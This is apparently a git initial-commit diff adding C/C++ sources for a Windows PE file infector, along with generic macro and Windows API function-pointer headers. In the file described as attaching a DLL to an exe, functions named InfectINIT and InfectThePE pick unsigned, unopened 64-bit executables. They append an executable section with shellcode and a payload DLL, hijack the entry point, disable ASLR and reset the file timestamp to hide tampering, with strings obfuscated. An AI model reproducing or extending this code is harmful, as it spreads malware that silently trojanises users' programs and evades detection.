initial commit
This commit is contained in:
+219
@@ -0,0 +1,219 @@
|
||||
/**
|
||||
* common macro define
|
||||
* v0.1, developed by devseed
|
||||
*/
|
||||
|
||||
#ifndef _COMMDEF_H
|
||||
#define _COMMDEF_H
|
||||
#define COMMDEF_VERSION 100
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// function declear macro
|
||||
#if defined(_MSC_VER) || defined(__TINYC__)
|
||||
#ifndef STDCALL
|
||||
#define STDCALL __stdcall
|
||||
#endif
|
||||
#ifndef NAKED
|
||||
#define NAKED __declspec(naked)
|
||||
#endif
|
||||
#ifndef INLINE
|
||||
#define INLINE __forceinline
|
||||
#endif
|
||||
#ifndef EXPORT
|
||||
#define EXPORT __declspec(dllexport)
|
||||
#endif
|
||||
#else
|
||||
#ifndef STDCALL
|
||||
#define STDCALL __attribute__((stdcall))
|
||||
#endif
|
||||
#ifndef NAKED
|
||||
#define NAKED __attribute__((naked))
|
||||
#endif
|
||||
#ifndef INLINE
|
||||
#define INLINE __attribute__((always_inline)) inline
|
||||
#endif
|
||||
#ifndef EXPORT
|
||||
#define EXPORT __attribute__((visibility("default")))
|
||||
#endif
|
||||
#endif // _MSC_VER
|
||||
#if defined(__TINYC__) // fix tcc not support inline
|
||||
#ifdef INLINE
|
||||
#undef INLINE
|
||||
#endif
|
||||
#define INLINE
|
||||
#endif // __TINYC__
|
||||
#ifndef IN
|
||||
#define IN
|
||||
#endif // IN
|
||||
#ifndef OUT
|
||||
#define OUT
|
||||
#endif // OUT
|
||||
#ifndef OPTIONAL
|
||||
#define OPTIONAL
|
||||
#endif // OPTIONAL
|
||||
|
||||
// log macro
|
||||
#ifndef LOG_LEVEL_
|
||||
#define LOG_LEVEL_
|
||||
#define LOG_LEVEL_ERROR 1
|
||||
#define LOG_LEVEL_WARNING 2
|
||||
#define LOG_LEVEL_INFO 3
|
||||
#define LOG_LEVEL_DEBUG 4
|
||||
#define LOG_LEVEL_VERBOSE 5
|
||||
#define LogTagPrintf(format, tag, ...) \
|
||||
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
|
||||
printf(format, ##__VA_ARGS__);
|
||||
#define LogTagWprintf(format, tag, ...) \
|
||||
printf("[%s,%d,%s,%s] ", __FILE__, __LINE__, __func__, tag);\
|
||||
wprintf(format, ##__VA_ARGS__);
|
||||
#define DummyPrintf(format, ...)
|
||||
#define LOG(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
|
||||
#define LOGL(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
|
||||
#define LOGe(format, ...) LogTagPrintf(format, "E", ##__VA_ARGS__)
|
||||
#define LOGLe(format, ...) LogTagWprintf(format, "E", ##__VA_ARGS__)
|
||||
#define LOGw(format, ...) LogTagPrintf(format, "W", ##__VA_ARGS__)
|
||||
#define LOGLw(format, ...) LogTagWprintf(format, "W", ##__VA_ARGS__)
|
||||
#define LOGi(format, ...) LogTagPrintf(format, "I", ##__VA_ARGS__)
|
||||
#define LOGLi(format, ...) LogTagWprintf(format, "I", ##__VA_ARGS__)
|
||||
#define LOGd(format, ...) LogTagPrintf(format, "D", ##__VA_ARGS__)
|
||||
#define LOGLd(format, ...) LogTagWprintf(format, "D", ##__VA_ARGS__)
|
||||
#define LOGv(format, ...) LogTagPrintf(format, "V", ##__VA_ARGS__)
|
||||
#define LOGLv(format, ...) LogTagWprintf(format, "V", ##__VA_ARGS__)
|
||||
#endif // LOG_LEVEL_
|
||||
#ifndef LOG_LEVEL
|
||||
#define LOG_LEVEL LOG_LEVEL_INFO
|
||||
#endif // LOG_LEVEL
|
||||
#if LOG_LEVEL < LOG_LEVEL_WARNING
|
||||
#undef LOGw
|
||||
#undef LOGLw
|
||||
#define LOGw DummyPrintf
|
||||
#define LOGLw DummyPrintf
|
||||
#endif // LOG_LEVEL_WARNING
|
||||
#if LOG_LEVEL < LOG_LEVEL_INFO
|
||||
#undef LOGi
|
||||
#undef LOGLi
|
||||
#define LOGi DummyPrintf
|
||||
#define LOGLi DummyPrintf
|
||||
#endif // LOG_LEVEL_INFO
|
||||
#if LOG_LEVEL < LOG_LEVEL_DEBUG
|
||||
#undef LOGd
|
||||
#undef LOGLd
|
||||
#define LOGd DummyPrintf
|
||||
#define LOGLd DummyPrintf
|
||||
#endif // LOG_LEVEL_DEBUG
|
||||
#if LOG_LEVEL < LOG_LEVEL_VERBOSE
|
||||
#undef LOGv
|
||||
#undef LOGLv
|
||||
#define LOGv DummyPrintf
|
||||
#define LOGLv DummyPrintf
|
||||
#endif // LOG_LEVEL_VERBOSE
|
||||
|
||||
// util macro
|
||||
#define DUMP(path, addr, size) \
|
||||
FILE *fp = fopen(path, "wb"); \
|
||||
fwrite(addr, 1, size, fp); \
|
||||
fclose(fp);
|
||||
|
||||
// inline functions
|
||||
static INLINE size_t inl_strlen(const char *str1)
|
||||
{
|
||||
const char* p = str1;
|
||||
while(*p) p++;
|
||||
return p - str1;
|
||||
}
|
||||
|
||||
static INLINE int inl_stricmp(const char *str1, const char *str2)
|
||||
{
|
||||
int i=0;
|
||||
while(str1[i]!=0 && str2[i]!=0)
|
||||
{
|
||||
if (str1[i] == str2[i]
|
||||
|| str1[i] + 0x20 == str2[i]
|
||||
|| str2[i] + 0x20 == str1[i])
|
||||
{
|
||||
i++;
|
||||
}
|
||||
else
|
||||
{
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
}
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
|
||||
static INLINE int inl_stricmp2(const char *str1, const wchar_t *str2)
|
||||
{
|
||||
int i=0;
|
||||
while(str1[i]!=0 && str2[i]!=0)
|
||||
{
|
||||
if ((wchar_t)str1[i] == str2[i]
|
||||
|| (wchar_t)str1[i] + 0x20 == str2[i]
|
||||
|| str2[i] + 0x20 == (wchar_t)str1[i])
|
||||
{
|
||||
i++;
|
||||
}
|
||||
else
|
||||
{
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
}
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
|
||||
static INLINE int inl_wcsicmp(const wchar_t *str1, const wchar_t *str2)
|
||||
{
|
||||
int i = 0;
|
||||
while (str1[i] != 0 && str2[i] != 0)
|
||||
{
|
||||
if (str1[i] == str2[i]
|
||||
|| str1[i] + 0x20 == str2[i]
|
||||
|| str2[i] + 0x20 == str1[i])
|
||||
{
|
||||
i++;
|
||||
}
|
||||
else
|
||||
{
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
}
|
||||
return (int)str1[i] - (int)str2[i];
|
||||
}
|
||||
|
||||
static INLINE uint32_t inl_crc32(const void *buf, size_t n)
|
||||
{
|
||||
uint32_t crc32 = ~0;
|
||||
for(size_t i=0; i< n; i++)
|
||||
{
|
||||
crc32 ^= *(const uint8_t*)((uint8_t*)buf+i);
|
||||
|
||||
for(int i = 0; i < 8; i++)
|
||||
{
|
||||
uint32_t t = ~((crc32&1) - 1);
|
||||
crc32 = (crc32>>1) ^ (0xEDB88320 & t);
|
||||
}
|
||||
}
|
||||
return ~crc32;
|
||||
}
|
||||
|
||||
static INLINE void* inl_memset(void *buf, int ch, size_t n)
|
||||
{
|
||||
char *p = (char *)buf;
|
||||
for(size_t i=0;i<n;i++) p[i] = (char)ch;
|
||||
return buf;
|
||||
}
|
||||
|
||||
static INLINE void* inl_memcpy(void *dst, const void *src, size_t n)
|
||||
{
|
||||
char *p1 = (char*)dst;
|
||||
char *p2 = (char*)src;
|
||||
for(size_t i=0;i<n;i++) p1[i] = p2[i];
|
||||
return dst;
|
||||
}
|
||||
|
||||
#endif // _COMMDEF_H
|
||||
|
||||
/**
|
||||
* history
|
||||
* v0.1, initial version
|
||||
*/
|
||||
+372
@@ -0,0 +1,372 @@
|
||||
/**
|
||||
* Attach dll in exe as memory module
|
||||
* v0.3.6, developed by devseed
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#define WINPE_IMPLEMENTATION
|
||||
#define WINPE_NOASM
|
||||
#include "winpe.h"
|
||||
#include <assert.h>
|
||||
#include <windows.h>
|
||||
#include <fstream>
|
||||
#include <wintrust.h>
|
||||
#include <softpub.h>
|
||||
#include <chrono>
|
||||
#include <iomanip>
|
||||
#include <filesystem>
|
||||
#include "../Encrypt.h"
|
||||
|
||||
#pragma comment(lib, "wintrust.lib")
|
||||
// these functions are stub function, will be filled by python
|
||||
#include "winmemdll_shellcode.h"
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#define FUNC_SIZE 0x400
|
||||
#define SHELLCODE_SIZE 0X2000
|
||||
|
||||
|
||||
std::vector<uint8_t> pyldyy = {
|
||||
0x4D, 0x5A, 0x00
|
||||
};
|
||||
|
||||
#ifdef _WIN64
|
||||
#define g_oepinit_code g_oepinit_code64
|
||||
#define g_memreloc_code g_memreloc_code64
|
||||
#define g_membindiat_code g_membindiat_code64
|
||||
#define g_membindtls_code g_membindtls_code64
|
||||
#define g_findloadlibrarya_code g_findloadlibrarya_code64
|
||||
#define g_findgetprocaddress_code g_findgetprocaddress_code64
|
||||
#else
|
||||
#define g_oepinit_code g_oepinit_code32
|
||||
#define g_memreloc_code g_memreloc_code32
|
||||
#define g_membindiat_code g_membindiat_code32
|
||||
#define g_membindtls_code g_membindtls_code32
|
||||
#define g_findloadlibrarya_code g_findloadlibrarya_code32
|
||||
#define g_findgetprocaddress_code g_findgetprocaddress_code32
|
||||
#endif
|
||||
|
||||
void _makeoepcode(void* shellcode,
|
||||
size_t shellcoderva, size_t dllrva,
|
||||
DWORD orgexeoeprva, DWORD orgdlloeprva)
|
||||
{
|
||||
// bind the pointer to buffer
|
||||
size_t oepinit_end = sizeof(g_oepinit_code);
|
||||
size_t memreloc_start = FUNC_SIZE;
|
||||
size_t membindiat_start = memreloc_start + FUNC_SIZE;
|
||||
size_t membindtls_start = membindiat_start + FUNC_SIZE;
|
||||
size_t findloadlibrarya_start = membindtls_start + FUNC_SIZE;
|
||||
size_t findgetprocaddress_start = findloadlibrarya_start + FUNC_SIZE;
|
||||
|
||||
// fill the address table
|
||||
size_t* pexeoeprva = (size_t*)(g_oepinit_code + oepinit_end - 8 * sizeof(size_t));
|
||||
size_t* pdllbrva = (size_t*)(g_oepinit_code + oepinit_end - 7 * sizeof(size_t));
|
||||
size_t* pdlloeprva = (size_t*)(g_oepinit_code + oepinit_end - 6 * sizeof(size_t));
|
||||
size_t* pmemrelocrva = (size_t*)(g_oepinit_code + oepinit_end - 5 * sizeof(size_t));
|
||||
size_t* pmembindiatrva = (size_t*)(g_oepinit_code + oepinit_end - 4 * sizeof(size_t));
|
||||
size_t* pmembindtlsrva = (size_t*)(g_oepinit_code + oepinit_end - 3 * sizeof(size_t));
|
||||
size_t* pfindloadlibrarya = (size_t*)(g_oepinit_code + oepinit_end - 2 * sizeof(size_t));
|
||||
size_t* pfindgetprocaddress = (size_t*)(g_oepinit_code + oepinit_end - 1 * sizeof(size_t));
|
||||
*pexeoeprva = orgexeoeprva;
|
||||
*pdllbrva = dllrva;
|
||||
*pdlloeprva = dllrva + orgdlloeprva;
|
||||
*pmemrelocrva = shellcoderva + memreloc_start;
|
||||
*pmembindiatrva = shellcoderva + membindiat_start;
|
||||
*pmembindtlsrva = shellcoderva + membindtls_start;
|
||||
*pfindloadlibrarya = shellcoderva + findloadlibrarya_start;
|
||||
*pfindgetprocaddress = shellcoderva + findgetprocaddress_start;
|
||||
|
||||
// copy to the target
|
||||
memcpy(shellcode, g_oepinit_code, sizeof(g_oepinit_code));
|
||||
memcpy((uint8_t*)shellcode + memreloc_start, g_memreloc_code, sizeof(g_memreloc_code));
|
||||
memcpy((uint8_t*)shellcode + membindiat_start, g_membindiat_code, sizeof(g_membindiat_code));
|
||||
memcpy((uint8_t*)shellcode + membindtls_start, g_membindtls_code, sizeof(g_membindtls_code));
|
||||
memcpy((uint8_t*)shellcode + findloadlibrarya_start,
|
||||
g_findloadlibrarya_code, sizeof(g_findloadlibrarya_code));
|
||||
memcpy((uint8_t*)shellcode + findgetprocaddress_start,
|
||||
g_findgetprocaddress_code, sizeof(g_findgetprocaddress_code));
|
||||
}
|
||||
|
||||
|
||||
size_t _sectpaddingsize(void* mempe, void* mempe_dll, size_t align)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
|
||||
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
|
||||
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
|
||||
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
|
||||
size_t _v = (pOptHeader->SizeOfImage + SHELLCODE_SIZE) % align;
|
||||
if (_v) return align - _v;
|
||||
else return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool IsFileInUse(const std::string& filePath) {
|
||||
// Attempt to open the file with write access and no sharing
|
||||
HANDLE hFile = CreateFileA(
|
||||
filePath.c_str(),
|
||||
GENERIC_WRITE,
|
||||
0, // No sharing: exclusive access
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
DWORD error = GetLastError();
|
||||
if (error == ERROR_SHARING_VIOLATION || error == ERROR_ACCESS_DENIED) {
|
||||
return true; // The file is in use or access is denied
|
||||
}
|
||||
}
|
||||
else {
|
||||
// If we can open the file, close the handle
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
return false; // The file is not in use
|
||||
}
|
||||
|
||||
bool IsSignedByValidCertificate(const std::string& filePath) {
|
||||
// Convert the file path to a wide string
|
||||
std::wstring wideFilePath(filePath.begin(), filePath.end());
|
||||
|
||||
WINTRUST_FILE_INFO fileInfo = { 0 };
|
||||
fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
|
||||
fileInfo.pcwszFilePath = wideFilePath.c_str();
|
||||
fileInfo.hFile = NULL;
|
||||
fileInfo.pgKnownSubject = NULL;
|
||||
|
||||
WINTRUST_DATA wintrustData = { 0 };
|
||||
wintrustData.cbStruct = sizeof(WINTRUST_DATA);
|
||||
wintrustData.dwUIChoice = WTD_UI_NONE;
|
||||
wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
|
||||
wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
|
||||
wintrustData.pFile = &fileInfo;
|
||||
wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
|
||||
wintrustData.dwProvFlags = WTD_SAFER_FLAG;
|
||||
wintrustData.hWVTStateData = NULL;
|
||||
wintrustData.pwszURLReference = NULL;
|
||||
|
||||
GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
|
||||
|
||||
LONG result = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
|
||||
wintrustData.dwStateAction = WTD_STATEACTION_CLOSE;
|
||||
|
||||
return (result == ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
std::string datanam;
|
||||
|
||||
bool IsPE64NotOpenNoRBData(const std::string& filePath) {
|
||||
|
||||
// Check if the file is open by another process
|
||||
if (IsFileInUse(filePath)) {
|
||||
//std::cerr << EC("The file is currently in use by another process: ") << filePath << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
// Open the file
|
||||
std::ifstream file(filePath, std::ios::binary | std::ios::in);
|
||||
if (!file.is_open()) {
|
||||
//std::cerr << EC("Failed to open file: ") << filePath << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Read the DOS header
|
||||
IMAGE_DOS_HEADER dosHeader;
|
||||
file.seekg(0, std::ios::beg);
|
||||
file.read(reinterpret_cast<char*>(&dosHeader), sizeof(IMAGE_DOS_HEADER));
|
||||
|
||||
// Verify DOS header
|
||||
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
//std::cerr << EC("Invalid DOS header signature.") << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Move to NT Headers
|
||||
file.seekg(dosHeader.e_lfanew, std::ios::beg);
|
||||
|
||||
// Read NT Headers
|
||||
IMAGE_NT_HEADERS64 ntHeaders;
|
||||
file.read(reinterpret_cast<char*>(&ntHeaders), sizeof(IMAGE_NT_HEADERS64));
|
||||
|
||||
// Verify NT header
|
||||
if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) {
|
||||
//std::cerr << EC("Invalid NT header signature.") << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if the file is a 64-bit executable
|
||||
if (ntHeaders.FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
|
||||
// std::cerr << EC("The file is not a 64-bit executable.") << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Read Section Headers
|
||||
std::vector<IMAGE_SECTION_HEADER> sectionHeaders(ntHeaders.FileHeader.NumberOfSections);
|
||||
file.read(reinterpret_cast<char*>(sectionHeaders.data()), sizeof(IMAGE_SECTION_HEADER) * ntHeaders.FileHeader.NumberOfSections);
|
||||
|
||||
// Check for .rbdata section
|
||||
for (const auto& section : sectionHeaders) {
|
||||
|
||||
std::string sectionName(reinterpret_cast<const char*>(section.Name), 8);
|
||||
sectionName.erase(std::find(sectionName.begin(), sectionName.end(), '\0'), sectionName.end()); // Remove null padding
|
||||
|
||||
/*std::cout << sectionName << std::endl;
|
||||
std::cout << section.VirtualAddress << std::endl;
|
||||
std::cout << section.SizeOfRawData << std::endl;*/
|
||||
|
||||
if (sectionName == datanam.c_str()) {
|
||||
//std::cerr << EC("The file contains a .rcdata section. and it is: ") << filePath << std::endl;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
if (sectionName.empty() && section.VirtualAddress == 0 && section.SizeOfRawData == 0) {
|
||||
std::cout << EC("PROBLEM: ") << filePath << std::endl;
|
||||
return false;
|
||||
}/**/
|
||||
}
|
||||
|
||||
// Check if the file is signed by a valid code signing certificate
|
||||
if (IsSignedByValidCertificate(filePath)) {
|
||||
//std::cerr << EC("The file is signed by a valid code signing certificate: ") << filePath << std::endl;
|
||||
return false;
|
||||
}
|
||||
|
||||
// If all checks pass, return true
|
||||
return true;
|
||||
}
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
void* mempe_dll = NULL;
|
||||
size_t mempe_dllsize = 0;
|
||||
|
||||
int injectdll_mem(const char* exepath)
|
||||
{
|
||||
|
||||
fs::file_time_type original_time = fs::last_write_time(exepath);
|
||||
|
||||
std::cout << EC("CK 1") << std::endl;
|
||||
|
||||
size_t exe_overlayoffset = 0;
|
||||
size_t exe_overlaysize = 0;
|
||||
void* mempe_exe = NULL;
|
||||
size_t mempe_exesize = 0;
|
||||
size_t imgbase_exe = 0;
|
||||
IMAGE_SECTION_HEADER secth = { 0 };
|
||||
char shellcode[SHELLCODE_SIZE];
|
||||
|
||||
std::cout << EC("CK 2") << std::endl;
|
||||
|
||||
// Load exe and dll PE
|
||||
mempe_exe = winpe_memload_file(exepath, &mempe_exesize, TRUE);
|
||||
|
||||
if (!mempe_exe) {
|
||||
printf(EC("Failed to load PE file: %s\n"), exepath);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!mempe_dll)
|
||||
{
|
||||
mempe_dll = winpe_memload_buffer(pyldyy.data(), pyldyy.size(), &mempe_dllsize, TRUE);
|
||||
}
|
||||
|
||||
std::cout << EC("CK 3") << std::endl;
|
||||
|
||||
void* mempe = mempe_exe;
|
||||
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)mempe;
|
||||
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((uint8_t*)mempe + pDosHeader->e_lfanew);
|
||||
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
|
||||
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
|
||||
|
||||
std::cout << EC("CK 4") << std::endl;
|
||||
|
||||
// Append section header to exe
|
||||
size_t align = sizeof(size_t) > 4 ? 0x10000 : 0x1000;
|
||||
size_t padding = _sectpaddingsize(mempe_exe, mempe_dll, align);
|
||||
secth.Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;
|
||||
secth.Misc.VirtualSize = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
|
||||
secth.SizeOfRawData = (DWORD)(SHELLCODE_SIZE + padding + mempe_dllsize);
|
||||
strcpy((char*)secth.Name, datanam.c_str());
|
||||
winpe_noaslr(mempe_exe);
|
||||
winpe_appendsecth(mempe_exe, §h);
|
||||
|
||||
std::cout << EC("CK 5") << std::endl;
|
||||
|
||||
// Adjust DLL addr and append shellcode, IAT bind is in running
|
||||
size_t shellcoderva = secth.VirtualAddress;
|
||||
size_t dllrva = shellcoderva + SHELLCODE_SIZE + padding;
|
||||
DWORD orgdlloeprva = winpe_oepval(mempe_dll, 0); // Origin orgdlloeprva
|
||||
DWORD orgexeoeprva = winpe_oepval(mempe_exe, secth.VirtualAddress);
|
||||
_makeoepcode(shellcode, shellcoderva, dllrva, orgexeoeprva, orgdlloeprva);
|
||||
|
||||
std::cout << EC("CK 6") << std::endl;
|
||||
|
||||
// Open the existing file in read-write mode
|
||||
FILE* fp = fopen(exepath, EC("rb+"));
|
||||
if (!fp) {
|
||||
std::cerr << EC("Failed to open file for writing: ") << exepath << std::endl;
|
||||
if (mempe_exe) free(mempe_exe);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::cout << EC("CK 7") << std::endl;
|
||||
|
||||
// Write the modified memory back to the file
|
||||
fseek(fp, 0, SEEK_SET);
|
||||
fwrite(mempe_exe, 1, mempe_exesize, fp);
|
||||
fwrite(shellcode, 1, SHELLCODE_SIZE, fp);
|
||||
for (size_t i = 0; i < padding; i++) fputc(0x0, fp);
|
||||
fwrite(mempe_dll, 1, mempe_dllsize, fp);
|
||||
fclose(fp);
|
||||
|
||||
std::cout << EC("CK 8") << std::endl;
|
||||
|
||||
if (mempe_exe) free(mempe_exe);
|
||||
|
||||
fs::last_write_time(exepath, original_time);
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
std::time_t to_time_t(const fs::file_time_type& ftime) {
|
||||
auto sctp = std::chrono::time_point_cast<std::chrono::system_clock::duration>(
|
||||
ftime - fs::file_time_type::clock::now() + std::chrono::system_clock::now()
|
||||
);
|
||||
return std::chrono::system_clock::to_time_t(sctp);
|
||||
}
|
||||
|
||||
void InjectDLLWithSEH(const char* exepat)
|
||||
{
|
||||
__try
|
||||
{
|
||||
injectdll_mem(exepat);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||
// Handle the exception (if needed)
|
||||
}
|
||||
}
|
||||
|
||||
void InfectINIT(std::vector<uint8_t> biit, string idey)
|
||||
{
|
||||
pyldyy.clear();
|
||||
datanam = EC(".rcdata") + idey;
|
||||
pyldyy = biit;
|
||||
|
||||
}
|
||||
|
||||
|
||||
void InfectThePE(string exepat)
|
||||
{
|
||||
|
||||
// Call the SEH-protected function
|
||||
InjectDLLWithSEH(exepat.c_str());
|
||||
|
||||
}
|
||||
|
||||
+613
@@ -0,0 +1,613 @@
|
||||
/** windows api function pointer define,
|
||||
* functions or macros for dynamic bindings
|
||||
* v0.1.5, developed by devseed
|
||||
*
|
||||
* macros:
|
||||
* WINDYN_IMPLEMENT, include defines of each function
|
||||
* WINDYN_SHARED, make function export
|
||||
* WINDYN_STATIC, make function static
|
||||
* WINDYN_NOINLINE, don't use inline function
|
||||
*/
|
||||
|
||||
#ifndef _WINDYN_H
|
||||
#define _WINDYN_H
|
||||
#define WINDYN_VERSION 150
|
||||
|
||||
#ifdef USECOMPAT
|
||||
#include "commdef_v100.h"
|
||||
#else
|
||||
#include "commdef.h"
|
||||
#endif // USECOMPAT
|
||||
|
||||
// define specific macro
|
||||
#ifdef WINDYN_API
|
||||
#undef WINDYN_API
|
||||
#endif
|
||||
#ifdef WINDYN_API_DEF
|
||||
#undef WINDYN_API_DEF
|
||||
#endif
|
||||
#ifdef WINDYN_API_EXPORT
|
||||
#undef WINDYN_API_EXPORT
|
||||
#endif
|
||||
#ifdef WINDYN_API_INLINE
|
||||
#undef WINDYN_API_INLINE
|
||||
#endif
|
||||
#ifdef WINDYN_STATIC
|
||||
#define WINDYN_API_DEF static
|
||||
#else
|
||||
#define WINDYN_API_DEF extern
|
||||
#endif // WINDYN_STATIC
|
||||
#ifdef WINDYN_SHARED
|
||||
#define WINDYN_API_EXPORT EXPORT
|
||||
#else
|
||||
#define WINDYN_API_EXPORT
|
||||
#endif // WINDYN_SHARED
|
||||
#ifdef WINDYN_NOINLINE
|
||||
#define WINDYN_API_INLINE
|
||||
#else
|
||||
#define WINDYN_API_INLINE INLINE
|
||||
#endif // WINDYN_NOINLINE
|
||||
#define WINDYN_API WINDYN_API_DEF WINDYN_API_EXPORT WINDYN_API_INLINE
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
// function pointer declear
|
||||
typedef HMODULE (WINAPI* PFN_LoadLibraryA)(
|
||||
LPCSTR lpLibFileName
|
||||
);
|
||||
|
||||
typedef FARPROC (WINAPI* PFN_GetProcAddress)(
|
||||
HMODULE hModule,
|
||||
LPCSTR lpProcName
|
||||
);
|
||||
|
||||
typedef HMODULE (WINAPI *PFN_GetModuleHandleA)(
|
||||
LPCSTR lpModuleName
|
||||
);
|
||||
|
||||
typedef LPVOID (WINAPI *PFN_VirtualAllocEx)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flAllocationType,
|
||||
DWORD flProtect
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_VirtualFreeEx)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD dwFreeType
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_VirtualProtectEx)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpAddress,
|
||||
SIZE_T dwSize,
|
||||
DWORD flNewProtect,
|
||||
PDWORD lpflOldProtect
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_CreateProcessA)(
|
||||
LPCSTR lpApplicationName,
|
||||
LPSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOA lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *PFN_OpenProcess)(
|
||||
DWORD dwDesiredAccess,
|
||||
BOOL bInheritHandle,
|
||||
DWORD dwProcessId
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *PFN_GetCurrentProcess)(
|
||||
VOID
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_ReadProcessMemory)(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesRead
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_WriteProcessMemory)(
|
||||
HANDLE hProcess,
|
||||
LPVOID lpBaseAddress,
|
||||
LPCVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T* lpNumberOfBytesWritten
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *PFN_CreateRemoteThread)(
|
||||
HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE lpStartAddress,
|
||||
LPVOID lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *PFN_GetCurrentThread)(
|
||||
VOID
|
||||
);
|
||||
|
||||
typedef DWORD (WINAPI *PFN_SuspendThread)(
|
||||
HANDLE hThread
|
||||
);
|
||||
|
||||
typedef DWORD (WINAPI *PFN_ResumeThread)(
|
||||
HANDLE hThread
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_GetThreadContext)(
|
||||
HANDLE hThread,
|
||||
LPCONTEXT lpContext
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_SetThreadContext)(
|
||||
HANDLE hThread,
|
||||
CONST CONTEXT* lpContext
|
||||
);
|
||||
|
||||
typedef DWORD (WINAPI *PFN_WaitForSingleObject)(
|
||||
HANDLE hHandle,
|
||||
DWORD dwMilliseconds
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_CloseHandle)(
|
||||
HANDLE hObject
|
||||
);
|
||||
|
||||
typedef HANDLE (WINAPI *PFN_CreateToolhelp32Snapshot)(
|
||||
DWORD dwFlags,
|
||||
DWORD th32ProcessID
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_Process32First)(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe
|
||||
);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_Process32Next)(
|
||||
HANDLE hSnapshot,
|
||||
LPPROCESSENTRY32 lppe
|
||||
);
|
||||
|
